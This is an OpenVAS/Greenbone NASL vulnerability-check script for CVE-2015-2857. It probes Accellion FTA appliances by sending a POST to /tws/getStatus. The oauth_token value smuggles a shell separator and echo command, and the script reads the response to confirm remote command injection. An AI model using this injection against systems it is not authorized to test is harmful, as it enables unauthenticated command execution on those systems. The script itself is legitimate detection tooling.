Accellion FTA RCE Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = 'cpe:/h:accellion:secure_file_transfer_appliance';

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106032");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2015-08-05 10:57:09 +0700 (Wed, 05 Aug 2015)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-09-09 15:11:00 +0000 (Wed, 09 Sep 2020)");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2015-2857");

  script_name("Accellion FTA RCE Vulnerability");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_accellion_fta_detect.nasl");
  script_mandatory_keys("accellion_fta/installed");

  script_tag(name:"summary", value:"Accellion FTA is prone to a remote command execution (RCE)
  vulnerability");

  script_tag(name:"vuldetect", value:"Send a crafted POST request and check the response.");

  script_tag(name:"insight", value:"The vulnerability is due to insufficient sanitization of the
'oauth_token' parameter. The parameter is passed into the system() command line through multiple mod_perl
handlers.");

  script_tag(name:"impact", value:"An unauthenticated attacker can gain complete access to the
appliance.");

  script_tag(name:"affected", value:"Accellion FTA Version 9.11.200 and prior.");

  script_tag(name:"solution", value:"Upgrade to version 9.11.210 or later.");

  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/132665/Accellion-FTA-getStatus-verify_oauth_token-Command-Execution.html");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

host = http_host_name(port: port);
useragent = http_get_user_agent();
data = string("transaction_id=", rand(), "&oauth_token='%3becho '");

req = 'POST /tws/getStatus HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'User-Agent: ' + useragent + '\r\n' +
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
      'Content-Type: application/x-www-form-urlencoded\r\n' +
      'Content-Length: ' + strlen(data) + '\r\n\r\n' +
      data + '\r\n';
buf = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);

if ('"result_msg":"Success","transaction_id":"' >< buf) {
  security_message(port: port);
  exit(0);
}

exit(0);